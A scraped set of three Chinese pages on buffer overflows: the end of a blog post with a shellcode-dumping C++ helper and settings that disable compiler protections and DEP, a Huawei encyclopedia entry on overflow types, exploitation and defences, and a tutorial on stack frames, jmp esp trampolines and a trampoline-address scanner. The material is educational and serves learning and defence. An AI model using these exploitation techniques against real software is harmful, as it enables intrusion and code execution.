这个函数地址是在本地计算的,如果被攻击计算机的操作系统版本差别较大的话,这个地址可能是错误的。不过在《0day安全:软件漏洞分析技术》中,作者提供了一个更好的方式,感兴趣的读者可以参考该书提供的代码。因此构造一个通用的shellcode并非十分容易,如果想让攻击变得有效的话。

六、汇编语言自动转换

写出shellcode后(无论是简单的还是通用的),我们还需要将这段汇编代码转换为机器代码。如果读者对x86汇编十分熟悉的话,选择手工敲出二进制代码的话也未尝不可。不过我们都希望能让计算机帮助做完这些事,既然开发环境提供了编译器,用它们帮忙何乐而不为呢?既不用OllyDbg工具,也不适用其他的第三方工具,我们写一个简单的函数来完成这个工作。

 

//将内嵌汇编的二进制指令dump到文件,style指定输出数组格式还是二进制形式,返回代码长度int dumpCode(unsigned char*buffer){    goto END ;//略过汇编代码BEGIN:    __asm    {        //在这里定义任意的合法汇编代码            }END:    //确定代码范围    UINT begin,end;    __asm    {        mov eax,BEGIN ;        mov begin,eax ;        mov eax,END ;        mov end,eax ;    }    //输出    int len=end-begin;    memcpy(buffer,(void*)begin,len);        //四字节对齐    int fill=(len-len%4)%4;    while(fill--)buffer[len+fill]=0x90;    //返回长度    return len+fill;}

因为C++是支持嵌入式汇编代码的,因此在函数内的汇编代码都会被整成编译为二进制代码。实现二进制转换的基本思想是读取编译器最终生成的二进制代码段数据,将数据导出到指定的缓冲区内。为了锁定嵌入式汇编代码的位置和长度,我们定义了两个标签BEGIN和END。这两个标签在汇编语言级别会被解析为实际的线性地址,但是在高级语言级是无法直接使用这两个标签值的,只能使用goto语句跳转使用它们。但是我们可以顺水推舟,使用两个局部变量在汇编级记录这两个标签的值!

//确定代码范围UINT begin,end;__asm{    mov eax,BEGIN ;    mov begin,eax ;    mov eax,END ;    mov end,eax ;}

这样就可以得到嵌入式汇编的代码范围了,使用memcpy操作将代码数据拷贝到目标缓冲区即可(后边还用nop指令将代码按照四字节对齐)。不过我们还需要注意一个问题,嵌入式汇编在函数执行时也会执行,这显然不可以,我们只是把它当作数据而已(是数据?还是代码?),因此在函数开始的地方我们使用goto语句直接跳转到嵌入式会变语句的结尾——END标签!

七、攻击测试

按照上述内容,相信不难构造出一个简单的shellcode并攻击之前提供的漏洞函数。但是如果使用VS2010测试的话可能会碰到很多问题。经过大量的调试和资料查询,我们需要设置三处VS的项目属性。

1、配置->配置属性->C/C++->基本运行时检查=默认值,避免被检测栈帧失衡。

2、配置->配置属性->C/C++->缓冲区安全检查=否,避免识别缓冲区溢出漏洞。

3、配置->配置属性->链接器->高级->数据执行保护(DEP)=否,避免堆栈段不可执行。

从这三处设置看来,目前的编译器已经针对缓冲区溢出攻击做了大量的保护工作(显然这会降低程序的执行性能,因此允许用户配置),使得传统的缓冲区溢出攻击变得没那么“猖狂”了,但是在计算机安全领域,“道高一尺,魔高一丈”,总有人会找到更隐蔽的攻击方式让编译器开发者措手不及。本文除了分析缓冲区溢出攻击的原理之外,更希望读者能从中感受到代码安全的重要性,并结合编译器提供的安全功能让自己的代码更加安全高效。

作者:Florian

本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文链接,否则作者保留追究法律责任的权利。

若本文对你有所帮助,您的

关注

推荐

是我分享知识的动力!

posted @

2013-08-10 18:54 

Florian 

阅读(70352) 

评论(11) 

编辑 

收藏 

举报

会员力量,点亮园子希望

刷新页面返回顶部

公告

Copyright © 2024 Florian

Powered by .NET 8.0 on Kubernetes

什么是缓冲区溢出?如何防止缓冲区溢出攻击? - 华为

什么是缓冲区溢出?如何防止缓冲区溢出攻击? - 华为

本站点使用Cookies,继续浏览表示您同意我们使用Cookies。

Cookies和隐私政策>

技术支持

运营商入口

公告

中文

English

首页

信息速查

IP知识百科

在线课堂

产品智能选型

首页

信息速查

产品智能选型

IP知识百科

中文

English

登录

提示

确定

取消

IP知识百科

IP知识百科

>

缓冲区溢出

什么是缓冲区溢出?

缓冲区溢出(buffer overflow),在计算机领域是一种异常现象。缓冲区溢出指当一段程序尝试把更多的数据放入一个缓冲区,数据超出了缓冲区本身的容量,导致数据溢出到被分配空间之外的内存空间,使得溢出的数据覆盖了其他内存空间的数据。攻击者可以利用缓冲区溢出修改计算机的内存,破坏或控制程序的执行,导致数据损坏、程序崩溃,甚至是恶意代码的执行。

目录

缓冲区溢出攻击的类型

攻击者如何利用缓冲区溢出

如何防止缓冲区溢出攻击

华为帮您如何抵御缓冲区溢出攻击?

更多

收起

缓冲区溢出攻击的类型

缓冲区溢出攻击指利用缓冲区溢出漏洞所进行的攻击行动。通过向程序的缓冲区写入超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,造成程序崩溃、系统关机或使程序执行其它指令,以达到攻击的目的。缓冲区溢出攻击有很多类型,主要可以分为以下几类:

栈溢出:栈溢出是指在程序执行中,如果在栈上分配的内存超过了栈的大小,就会发生栈溢出。栈是一种后进先出(LIFO)的数据结构,用于存储程序执行过程中的临时变量。当栈溢出时,程序会立即停止执行,并显示栈溢出错误信息。栈溢出攻击是最常见的缓冲区溢出攻击类型,发生栈溢出的基本前提是程序必须向栈上写入数据且写入的数据大小没有被控制。

堆溢出:堆溢出是指程序在动态分配内存时,分配的内存超出了堆的大小。堆是一种先进先出(FIFO)的数据结构,用于存储程序运行时长期需要的数据。当堆溢出时,程序可能不会立即停止执行,但会导致程序的不稳定,甚至崩溃。在恶意攻击中,攻击者可能会利用堆缓冲区溢出来执行任意代码或获取敏感信息。

格式字符串溢出:格式字符串指在编程语言中,涉及使用格式化字符串函数来打印字符串时,如果格式串由用户定制,攻击者就可以任意伪造格式串,利用 *printf() 系列函数的特性就可以窥探堆栈空间的内容,超长输入可以引发传统的缓冲区溢出,或是用“%n”覆盖指针、返回地址等。

整数溢出: 计算机语言中整数类型都有一个取值范围,两个整数进行运算时,若结果大于最大值(上溢)或小于最小值(下溢),就是溢出。例如,最大值为a,在最大值与最小值之间发生以下计算:a+1=0或0-1=a,此时会发生溢出,其中a+1=0会发生上溢,0-1=a会发生下溢。利用整数的范围和符号等问题触发安全漏洞,大多数整形溢出不能直接利用,但如果该整形变量决定内存分配等操作,作为漏洞被间接利用。

Unicode 溢出:Unicode 溢出通过将 Unicode 字符插入需要 ASCII 字符的输入中来创建缓冲区溢出。ASCII 和 Unicode 是使计算机表达文本的编码标准。由于 unicode 中有更多可用的字符,所以许多 unicode 字符大于最大的 ASCII 字符。当出现Unicode 溢出,可改变程序的工作方式,出现进一步的安全问题。

攻击者如何利用缓冲区溢出

攻击者可以将精心制作的数据输入程序,程序尝试将该输入数据存储在缓冲区中,输入数据会覆盖连接到缓冲区空间的部分内存。如果程序的内存布局定义明确,则攻击者可故意覆盖已知包含可执行代码的区域,然后用自己的可执行代码替换这些代码,改变程序的工作方式。通常,缓冲区溢出攻击都是按照如下步骤进行:

注入攻击代码。

跳转到攻击代码。

执行攻击代码。

攻击者可利用的方法较多,下面介绍两种攻击者常用的缓冲区溢出攻击:

利用栈溢出攻击破坏栈数据可能被攻击者利用缓冲区溢出漏洞进行破坏的对象包括栈数据中的ARG(函数调用时的实参)、RETADDR(下一条要执行的操作指令在内存中的地址)、EBP(调用该函数前的栈帧状态值)和LOCVAR(该函数中的本地变量)。 常见的栈溢出攻击的利用方式是改变RETADDR的值,将已经注入到栈中的攻击代码的地址或代码区中某些具有特权的系统函数地址存放至RETADDR。若完成修改RETADDR的值,结束调用该函数后,程序就跳转到攻击者设计好的地址去执行攻击者希望被执行的指令,进而获得系统控制权限,导致严重的后果。EBP也常常作为被攻击的对象。攻击者通过构建一个RETADDR指向攻击代码的虚拟栈帧,再溢出当前栈帧EBP的值,溢出后的EBP值是构造的虚拟栈帧的地址。最终通过构造的虚拟堆栈的承接,执行完当前栈帧则执行虚拟栈帧,执行完虚拟栈帧则跳转到虚拟栈帧的RETADDR值所指向的位置,也使得程序最终跳转到攻击者设计好的地址去执行攻击指令。

利用堆溢出攻击破坏堆数据由于堆中是不连续地动态分配内存,攻击者预测地址的难度提高,堆溢出攻击比栈溢出攻击更困难,但依然有技术可以利用堆溢出实现攻击。 Dword Shoot攻击:Dword Shoot指能够向内存任意位置写入任意数据,1WORD=4个bytes,即通过执行程序将4bytes的数据写入4bytes地址中,从而实现某种恶意操作。Dword Shoot攻击指利用Dword Shoot进行的恶意操作。Linux系统和windows系统对堆的管理方式都是双向链表方式,每一个分配的内存块由3部分组成:头指针(head)、尾指针(tail)、内存数据(data)。针对堆内存的管理主要有分配和释放两部分。在释放堆内存M时,会将M从链表上摘除,会执行M→head→tail=M→tail操作,如果攻击者通过溢出M临近的内存,将M的头指针、尾指针修改,让M的头指针指向攻击者设计好的虚拟节点,让M的尾指针指向攻击者设计好的位置,比如Shellcode,那么当执行完M→head→tail=M→tail操作时,该虚拟节点的尾指针就指向Shellcode,调用该虚拟节点的尾指针就会转向Shellcode。摘链时的另一操作M→tail→head=M→head,利用同样的原理,也可实现攻击。 Heap Spray攻击:Heap Spray是在Shellcode前面加上大量的slide code(滑板指令,指不会影响程序执行,但占据内存空间,使真正的攻击指令得到执行的无意义指令),组成一个注入代码段。之后向系统申请大量内存,并且反复注入代码段来填充,然后结合其他的漏洞攻击技术控制程序流,使得程序跳转执行到堆上,使Shellcode得到执行,Shellcode中的核心攻击指令得到执行,进而获得系统控制权限,达到攻击目的。

如何防止缓冲区溢出攻击

缓冲区溢出攻击占了远程网络攻击的绝大多数,这种攻击可以使得一个匿名的Internet用户有机会获得一台主机的部分或全部的控制权。如果能有效地消除缓冲区溢出的漏洞,则很大一部分的安全威胁可以得到解决。有几种基本的方法保护缓冲区免受缓冲区溢出的攻击和影响,具体方法如下:

完整性检查:在程序指针失效前进行完整性检查。

随机化地址空间: 关键数据区的地址空间位置随机排列。通常,缓冲区溢出攻击需要知道可执行代码的位置,而随机化地址空间使这几乎不可能。

防止数据执行:标记内存的某些区域为可执行或不可执行,从而阻止在不可执行区域运行代码的攻击。

编写安全的代码:使用能够帮助识别不安全函数或错误的编译器,利用编译器的边界检查来实现缓冲区的保护。避免使用不进行缓冲区检查的函数(例如,在C语言中,用 fgets() 代替 gets())。使用内置保护的语言编写或在其代码中使用特殊的安全性程序,来预防缓冲区溢出漏洞。

尽管存在上述预防措施,但仍能发现新的缓冲区溢出漏洞。当发现新漏洞时,工程师需要修补受影响的软件,并确保该软件的用户可以及时获取补丁。

华为帮您如何抵御缓冲区溢出攻击?

针对日益复杂的网络环境,华为提供了丰富的安全解决方案和安全产品,能够帮助您及时发现安全风险,降低缓冲区溢出的影响。

HiSec Insight安全态势感知系统HiSec Insight通过启用内存页上禁止执行代码的能力,防止缓冲区溢出漏洞,增强系统的安全性。启用内存地址随机化机制,通过对堆、栈或者共享库映射等线性区布局的随机化,增加攻击者预测目的地址的难度,防止攻击者直接定位攻击代码位置,达到阻止溢出攻击的目的。

HiSecEngine USG6000E/6000F系列AI防火墙HiSecEngine USG6000E/6000F系列AI防火墙可以助您实施严格的出入方向流量控制,防卫内网威胁与外网威胁。通过应用识别、入侵防御(IPS)、反病毒、URL过滤及邮件过滤等内容安全相关的功能,USG系列AI防火墙能够对缓冲区溢出攻击进行有效阻断,保证内网服务器和用户免受威胁的侵害。此外,通过特征库升级,HiSecEngine USG6000E/6000F系列AI防火墙能够第一时间获取最新威胁信息,准确检测并防御针对漏洞的攻击。

参考资源

1入侵防御配置指南(USG6000E)

2入侵防御配置指南(USG6000F)

3HiSec Insight高级威胁分析系统

相关词条

词条统计

作者:

谢赛雨

最近更新:

2023-07-04

浏览次数:

4913

平均得分:

页内导航

缓冲区溢出攻击的类型

攻击者如何利用缓冲区溢出

如何防止缓冲区溢出攻击

华为帮您如何抵御缓冲区溢出攻击?

问卷调研

帮助中心

在线客服

分享链接

意见反馈

分享链接到:

意见反馈

关注我们

关于华为

华为公司简介

关于企业业务

查找中国办事处

新闻中心

市场活动

信任中心

如何购买

售前在线咨询

提交项目需求

查找经销商

向经销商询价

合作伙伴

成为合作伙伴

合作伙伴培训

合作伙伴政策

资源

华为“懂行”体验店

e直播

博客

资料中心

视频中心

电子期刊

成功案例

快速链接

互动社区

华为云

华为智能光伏

华为商城

华为招聘

版权所有 © 华为技术有限公司 1998-2023。 保留一切权利。粤A2-20044005号

隐私保护

|

法律声明

|

网站地图

|

浅析缓冲区溢出漏洞的利用与Shellcode编写_shellcode缓冲区溢出攻击v-CSDN博客

>

浅析缓冲区溢出漏洞的利用与Shellcode编写_shellcode缓冲区溢出攻击v-CSDN博客

浅析缓冲区溢出漏洞的利用与Shellcode编写

Tr0e

于 2021-09-30 23:46:38 发布

阅读量4.9k

收藏

83

点赞数

26

分类专栏:

终端安全

文章标签:

缓冲区溢出

ShellCode

CPU堆栈

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。

本文链接:https://blog.csdn.net/weixin_39190897/article/details/120529809

版权

终端安全

专栏收录该内容

55 篇文章

84 订阅

订阅专栏

文章目录

前言汇编语言寄存器内存堆栈CPU指令函数调用

缓冲区溢出栈溢出原理栈溢出攻击ShellCode

总结

前言

缓冲区溢出(Buffer Overflow)是计算机安全领域内既经典而又古老的话题。1988 年的 Morris 蠕虫病毒,利用 UNIX 服务 finger 中的缓冲区溢出漏洞来获得访问权限并得到一个 shell,成功感染了 6000 多台机器。1996年前后,开始出现大量的缓冲区溢出攻击,因此引起人们的广泛关注。源码开放的操作系统首当其冲,Windows 系统下的缓冲区溢出也相继被发掘出来。

缓冲区是内存中存放数据的地方,缓冲区溢出漏洞是指在程序试图将数据放到及其内存中的某一个位置的时候,因为没有足够的空间就会发生缓冲区溢出的现象。在 C 语言中,指针和数组越界不保护是 Buffer overflow 的根源,而且,在 C 语言标准库中就有许多能提供溢出的函数,如 strcat(), strcpy(), sprintf(), vsprintf(), bcopy(), gets() 和 scanf()。

与其他的攻击类型相比,缓冲区溢出攻击不需要太多的先决条件且杀伤力很强(可形成远程任意命令执行),同时在 Buffer Overflows 攻击面前,防火墙往往显得很无奈。本文将记录、学习下缓冲区溢出漏洞及其 Shellcode 的编写。

汇编语言

缓冲区溢出漏洞跟 CPU 内存堆栈紧密相关,在学习缓冲区溢出漏洞之前,必不可少得就是了解 CPU 中堆栈的概念和汇编语言的相关知识。

汇编语言参考教程: 王爽《汇编语言》笔记(详细),建议下载 PDF 电子书进行学习。

多数程序员学习的编程语言都是像 Java、Python、Go 等高级语言,这些编程语言均属于专门为人类设计的计算机语言。但是计算机本身并不理解高级语言,高级语言的源代码必须通过编译器转成二进制代码后才能在计算机上运行。计算机真正能够理解的是低级语言,它专门用来控制硬件。汇编语言就是低级语言,直接描述/控制 CPU 的运行。如果你想了解 CPU 到底干了些什么,以及代码的运行步骤,就一定要学习汇编语言。

汇编语言是一种以处理器指令系统为基础的低级程序设计语言。利用汇编语言编写程序的主要优点是可以直接、有效地控制计算机硬件,因而容易创建代码序列短小、运行快速的可执行程序。汇编语言是二进制指令的文本形式,与指令是一一对应的关系。比如,加法指令 00000011 写成汇编语言就是 ADD。只要还原成二进制,汇编语言就可以被 CPU 直接执行,所以它是最底层的低级语言。

汇编语言的主要应用场合:

程序执行占用较短的时间,或者占用较小存储容量的场合;程序与计算机硬件密切相关,程序直接控制硬件的场合;需提高大型软件性能的场合或者没有合适的高级语言的场合。

汇编语言与具体的微处理器相联系,每种微处理器的汇编语言都不一样。通过都以常用的、结构简洁的 Intel 8086 汇编语言进行学习,学习汇编语言可以帮助我们充分获得底层编程的体验,深刻理解机器运行程序的机理。

寄存器

学习汇编语言,首先必须了解两个知识点:寄存器和内存模型。

先来看寄存器。CPU 本身只负责运算,不负责储存数据。数据一般都储存在内存之中,CPU 要用的时候就去内存读写数据。但是,CPU 的运算速度远高于内存的读写速度,为了避免被拖慢,CPU 都自带一级缓存和二级缓存。基本上,CPU 缓存可以看作是读写速度较快的内存。

但是 CPU 缓存还是不够快,另外数据在缓存里面的地址是不固定的,CPU 每次读写都要寻址也会拖慢速度。因此除了缓存之外,CPU 还自带了寄存器(register),用来储存最常用的数据。也就是说,那些最频繁读写的数据(比如循环变量),都会放在寄存器里面,CPU 优先读写寄存器,再由寄存器跟内存交换数据。 早期的 x86 CPU 只有 8 个寄存器,而且每个都有不同的用途。现在的寄存器已经有100多个了,都变成通用寄存器,不特别指定用途了,但是早期寄存器的名字都被保存了下来,上图是 8086 CPU 的寄存器思维导图。

寄存器不依靠地址区分数据,而依靠名称。每一个寄存器都有自己的名称,我们告诉 CPU 去具体的哪一个寄存器拿数据,这样的速度是最快的。有人比喻寄存器是 CPU 的零级缓存。

内存堆栈

寄存器只能存放很少量的数据,大多数时候,CPU 要指挥寄存器,直接跟内存交换数据。所以,除了寄存器,还必须了解内存怎么储存数据。

程序运行的时候,操作系统会给它分配一段内存,用来储存程序和运行产生的数据。这段内存有起始地址和结束地址,比如从 0x1000 到 0x8000,起始地址是较小的那个地址,结束地址是较大的那个地址。 1、Heap(堆)

程序运行过程中,对于动态的内存占用请求(比如新建对象,或者使用malloc命令),系统就会从预先分配好的那段内存之中,划出一部分给用户,具体规则是从起始地址开始划分(实际上,起始地址会有一段静态数据,这里忽略)。举例来说,用户要求得到 10 个字节内存,那么从起始地址 0x1000 开始给他分配,一直分配到地址 0x100A,如果再要求得到 22 个字节,那么就分配到 0x1020。 这种因为用户主动请求而划分出来的内存区域,叫做 Heap(堆)。它由起始地址开始,从低位(地址)向高位(地址)增长。Heap 的一个重要特点就是不会自动消失,必须手动释放,或者由垃圾回收机制来回收。

2、Stack(栈)

除了 Heap 以外,其他的内存占用叫做 Stack(栈)。简单说,Stack 是由于函数运行而临时占用的内存区域。 请看下面的例子:

int main() {

int a = 2;

int b = 3;

}

上面代码中,系统开始执行 main 函数时,会为它在内存里面建立一个帧(frame),所有 main 的内部变量(比如 a 和 b)都保存在这个帧里面。main 函数执行结束后,该帧就会被回收,释放所有的内部变量,不再占用空间。 如果函数内部调用了其他函数,会发生什么情况?

int main() {

int a = 2;

int b = 3;

return add_a_and_b(a, b);

}

上面代码中,main 函数内部调用了 add_a_and_b 函数。执行到这一行的时候,系统也会为 add_a_and_b 新建一个帧,用来储存它的内部变量。也就是说,此时同时存在两个帧:main 和 add_a_and_b。一般来说,调用栈有多少层,就有多少帧。 等到 add_a_and_b 运行结束,它的帧就会被回收,系统会回到函数 main 刚才中断执行的地方,继续往下执行。通过这种机制,就实现了函数的层层调用,并且每一层都能使用自己的本地变量。 所有的帧都存放在 Stack,由于帧是一层层叠加的,所以 Stack 叫做栈。生成新的帧,叫做"入栈",英文是 push;栈的回收叫做"出栈",英文是 pop。Stack 的特点就是,最晚入栈的帧最早出栈(因为最内层的函数调用,最先结束运行),这就叫做"后进先出"的数据结构。每一次函数执行结束,就自动释放一个帧,所有函数执行结束,整个 Stack 就都释放了。 Stack 是由内存区域的结束地址开始,从高位(地址)向低位(地址)分配。比如,内存区域的结束地址是 0x8000,第一帧假定是16字节,那么下一次分配的地址就会从 0x7FF0 开始;第二帧假定需要 64 字节,那么地址就会移动到 0x7FB0。

CPU指令

了解寄存器和内存模型以后,就可以来看汇编语言到底是什么了。下面是一个简单的程序 example.c:

int add_a_and_b(int a, int b) {

return a + b;

}

int main() {

return add_a_and_b(2, 3);

}

使用 gcc 将这个程序转成汇编语言:

$ gcc -S example.c

上面的命令执行以后,会生成一个文本文件 example.s,里面就是汇编语言,包含了几十行指令。这么说吧,一个高级语言的简单操作,底层可能由几个,甚至几十个 CPU 指令构成。CPU 依次执行这些指令,完成这一步操作。example.s 经过简化以后,大概是下面的样子:

_add_a_and_b:

push %ebx

mov %eax, [%esp+8]

mov %ebx, [%esp+12]

add %eax, %ebx

pop %ebx

ret

_main:

push 3

push 2

call _add_a_and_b

add %esp, 8

ret

可以看到,原程序的两个函数 add_a_and_b 和 main,对应两个标签 _add_a_and_b 和 _main。每个标签里面是该函数所转成的 CPU 运行流程。

1、Push 指令

根据约定,程序从 _main 标签开始执行,这时会在 Stack 上为 main 建立一个帧,并将 Stack 所指向的地址,写入 ESP 寄存器。后面如果有数据要写入 main 这个帧,就会写在 ESP 寄存器所保存的地址。

然后,开始执行第一行代码:push 3。push 指令用于将运算子放入 Stack,这里就是将 3 写入 main 这个帧。虽然看上去很简单,push 指令其实有一个前置操作。它会先取出 ESP 寄存器里面的地址,将其减去 4 个字节,然后将新地址写入 ESP 寄存器。使用减法是因为 Stack 从高位向低位发展,4 个字节则是因为 3 的类型是 int,占用 4个字节。得到新地址以后, 3 就会写入这个地址开始的四个字节。 第二行指令—— push 2也是一样,push 指令将 2 写入 main 这个帧,位置紧贴着前面写入的 3。这时,ESP 寄存器会再减去 4个字节(累计减去8)。

2、call 指令

第三行的call指令用来调用函数。

call _add_a_and_b

上面的代码表示调用 add_a_and_b 函数。这时,程序就会去找 _add_a_and_b 标签,并为该函数建立一个新的帧。下面就开始执行 _add_a_and_b 的代码。

push %ebx

这一行表示将 EBX 寄存器里面的值,写入 _add_a_and_b 这个帧。这是因为后面要用到这个寄存器,就先把里面的值取出来,用完后再写回去。这时,push 指令会再将 ESP 寄存器里面的地址减去 4 个字节(累计减去12)。

3、mov 指令

mov 指令用于将一个值写入某个寄存器。

mov %eax, [%esp+8]

这一行代码表示,先将 ESP 寄存器里面的地址加上 8 个字节,得到一个新的地址,然后按照这个地址在 Stack 取出数据。根据前面的步骤,可以推算出这里取出的是 2,再将 2 写入 EAX 寄存器。下一行代码也是干同样的事情。

mov %ebx, [%esp+12]

上面的代码将 ESP 寄存器的值加 12 个字节,再按照这个地址在 Stack 取出数据,这次取出的是 3,将其写入 EBX 寄存器。

4、add 指令

add 指令用于将两个运算子相加,并将结果写入第一个运算子。

add %eax, %ebx

上面的代码将 EAX 寄存器的值(即2)加上 EBX 寄存器的值(即3),得到结果 5,再将这个结果写入第一个运算子 EAX 寄存器。

5、pop 指令

pop 指令用于取出 Stack 最近一个写入的值(即最低位地址的值),并将这个值写入运算子指定的位置。

pop %ebx

上面的代码表示,取出 Stack 最近写入的值(即 EBX 寄存器的原始值),再将这个值写回 EBX 寄存器(因为加法已经做完了,EBX 寄存器用不到了)。注意,pop 指令还会将 ESP 寄存器里面的地址加4,即回收4个字节。

6、ret 指令

ret 指令用于终止当前函数的执行,将运行权交还给上层函数。也就是,当前函数的帧将被回收。该指令没有运算子。随着 add_a_and_b 函数终止执行,系统就回到刚才 main 函数中断的地方,继续往下执行。

add %esp, 8

上面的代码表示,将 ESP 寄存器里面的地址,手动加上 8 个字节,再写回 ESP 寄存器。这是因为 ESP 寄存器的是 Stack 的写入开始地址,前面的pop操作已经回收了 4 个字节,这里再回收 8 个字节,等于全部回收。最后,main 函数运行结束,ret 指令退出程序执行。

函数调用

栈的主要功能是实现函数的调用。因此在介绍栈溢出原理之前,需要弄清函数调用时栈空间发生了怎样的变化。每次函数调用时,系统会把函数的返回地址(函数调用指令后紧跟指令的地址),一些关键的寄存器值保存在栈内,函数的实际参数和局部变量(包括数据、结构体、对象等)也会保存在栈内。这些数据统称为函数调用的栈帧,而且是每次函数调用都会有个独立的栈帧,这也为递归函数的实现提供了可能。

上面演示的代码案例,只是为了方便理解汇编程序的指令而简化并省略了部分汇编指令,实际上对于函数调用、返回过程中的内存操作细节的描述并不准确……为了后续更好地理解缓冲区溢出漏洞,不得不进一步了解函数调用过程中 CPU 内存栈的变化细节。

实际上,函数调用中栈的工作过程如下:

调用函数前

  压入栈

    1)上级函数传给 A 函数的参数

    2)返回地址 ( EIP )

    3)当前的 EBP

    4)函数的局部变量

调用函数后

  恢复 EBP

  恢复 EIP

  局部变量不作处理

下面用一个例子来讲函数调用过程中栈的变化:

int sum(int _a,int _b)

{

int c=0;

c=_a+_b;

return c;

}

int main()

{

int a=10;

int b=20;

ret=sum(a,b);

return 0;

}

1、 main 函数的栈在调用 sum 函数之前如图: 2、接着调用 ret=sum(a,b) 函数,首先函数参数从右至左入栈: 3、call 指令调用 sum 函数时实际上分两步:push EIP 将下一条指令入栈保存起来,作为后续 sum 函数执行完毕后的返回地址,然后 esp-4 令 esp 指针下移: 4、执行指令push ebp 将 main 父函数的基指针入栈保存: 5、接着还需执行指令 mov ebp esp ,将 esp 的值存入 ebp,也就等于将 ebp 指向 esp(目的是将 ebp 指向后面由 sum 函数触发的新的栈帧的栈底): 6、然后执行指令sub esp 44H将 esp下移动一段空间,创建 sum 函数的栈栈帧: 7、sum 函数的内部逻辑实现过程忽略,直接看看函数返回。sum 函数执行完以后,程序将执行指令 mov esp ebp,将 ebp 的值赋给 esp,也就等于将 esp 指向 ebp,销毁 sum 函数栈帧: 8、接着执行pop ebp指令,将 ebp 出栈,将栈中保存的 main 函数的基址赋值给 ebp : 9、执行指令ret ,ret 相当于 pop eip,就是把之前保存的函数返回地址(也就是 main 函数中下一条该执行的指令的地址)出栈: 10、最后执行add esp,8 指令,因为传入 sum 函数的参数已经不需要了,我们将 esp 指针上移(注意这里修改 esp 的值很重要,是后续栈溢出攻击的关键!!): 此时函数整个调用过程就结束了,main 函数栈恢复到了调用之前的状态。

缓冲区溢出

弄清了函数调用时栈空间发生了怎样的变化,就可以开始介绍栈溢出的原理了。

栈溢出原理

很多程序都会接受用户的外界输入,尤其是当函数内的一个数组缓冲区接受用户输入的时候,一旦程序代码未对输入的长度进行合法性检查的话,缓冲区溢出便有可能触发!比如下边的一个简单的函数:

void msg_display(char * data)

{

char buffer[200];

strcpy(buffer,data);

}

这个函数分配了 200 个字节的缓冲区,然后通过 strcpy 函数将传进来的字符串复制到缓冲区中,最后输出,如果传入的字符串大于 200 的话就会发生溢出,并向后覆盖堆栈中的信息,如果只是一些乱码的话那个最多造成程序崩溃,如果传入的是一段精心设计的代码,那么计算机可能回去执行这段攻击代码。 由于栈是低地址方向增长的,因此局部数组 buffer 的指针在缓冲区的下方。当把 data 的数据拷贝到 buffer 内时,超过缓冲区区域的高地址部分数据会“淹没”原本的其他栈帧数据,根据淹没数据的内容不同,可能会有产生以下情况:

淹没了其他的局部变量:如果被淹没的局部变量是条件变量,那么可能会改变函数原本的执行流程;淹没了父函数栈底指针 ebp 的值:修改了函数执行结束后要恢复的栈指针,将会导致栈帧失去平衡;淹没了返回地址:这是栈溢出原理的核心所在,通过淹没的方式修改函数的返回地址,使程序代码执行“意外”的流程!淹没参数变量:修改函数的参数变量也可能改变当前函数的执行结果和流程;淹没上级函数的栈帧,情况与上述4点类似,只不过影响的是上级函数的执行。

综上所述,如果在 data 本身的数据内就保存了一系列的指令的二进制代码,一旦栈溢出时修改了函数的返回地址,并将该地址指向这段二进制代码的其实位置,那么就完成了基本的溢出攻击行为。 攻击者通过计算返回地址内存区域相对于 buffer 的偏移,并在对应位置构造新的地址指向 buffer 内部二进制代码的其实位置,便能执行用户的自定义代码!这段既是代码又是数据的二进制数据被称为 Shellcode,因为攻击者希望通过这段代码打开系统的 shell,以执行任意的操作系统命令——比如下载病毒,安装木马,开放端口,格式化磁盘等恶意操作。

栈溢出攻击

上述过程虽然理论上能完成栈溢出攻击行为,但是实际上很难实现,因为操作系统每次加载可执行文件到进程空间的位置都是无法预测的,因此栈的位置实际是不固定的,通过硬编码覆盖新返回地址的方式并不可靠。攻击者需要其他方法来确保程序能执行到正确的地址(即准确地定位 Shellcode 的地址),需要借助一些额外的操作,其中最经典的是借助跳板的栈溢出方式。

【重点】根据前边“汇编语言-函数调用”部分的知识所述,函数执行后,栈指针 esp 会恢复到调用该函数时压入参数时的状态,在上图中即 data 区域(函数参数)的地址。如果我们在函数的返回地址填入一个地址,该地址指向的内存保存了一条特殊的指令 jmp esp(跳转指令)。那么函数返回后,会执行该指令并跳转到 esp 所在的位置——即 data(函数参数) 的位置。我们可以将缓冲区再多溢出一部分,淹没 data 这样的函数参数,并在这里放上我们想要执行的代码!这样,不管程序被加载到哪个位置,最终都会回来执行栈内的代码。

ShellCode

下面基于 i春秋的教学视频(强烈推荐仔细观看,讲得很好很通透易懂),通过利用一个程序漏洞,演示如何人编写 Shellcode,来达成最终的攻击效果:蹦出对话框并显示“You have been hacked!(by JWM)”。带有漏洞的程序如下:

#include "stdio.h"

#include "string.h"

char name[] = "jiangye";

int main()

{

char buffer[8];

strcpy(buffer, name);

printf("%s",buffer);

getchar();

return 0;

}

(1)选取跳板

上面讲了实现栈溢出攻击时,借助于跳板的确可以很好的解决栈帧移位(栈加载地址不固定)的问题,但是跳板指令从哪找呢?“幸运”的是,在 Windows 操作系统加载的大量 dll 中,包含了许多这样的指令,比如 kernel32.dll,ntdll.dll,这两个动态链接库是 Windows 程序默认加载的。如果是图形化界面的 Windows 程序还会加载 user32.dll,它也包含了大量的跳板指令!而且更“神奇”的是 Windows 操作系统加载 dll 时候一般都是固定地址,因此这些 dll 内的跳板指令的地址一般都是固定的。我们可以离线搜索出跳板执行在 dll 内的偏移,并加上 dll 的加载地址,便得到一个适用的跳板指令地址!

#include

#include

#include

int main()

{

BYTE *ptr;

int position;

HINSTANCE handle;

BOOL done_flag = FALSE;

handle = LoadLibrary("user32.dll");

if(!handle)

{

printf("load dll error!");

exit(0);

}

ptr = (BYTE*)handle;

for(position = 0; !done_flag; position++)

{

try

{

if(ptr[position]==0xFF && ptr[position+1]==0xE4)

{

int address = (int)ptr + position;

printf("OPCODE found at 0x%x\n", address);

}

}

catch(...)

{

int address = (int)ptr + position;

printf("END OF 0x%x\n", address);

done_flag = true;

}

}

getchar();

return 0;

}

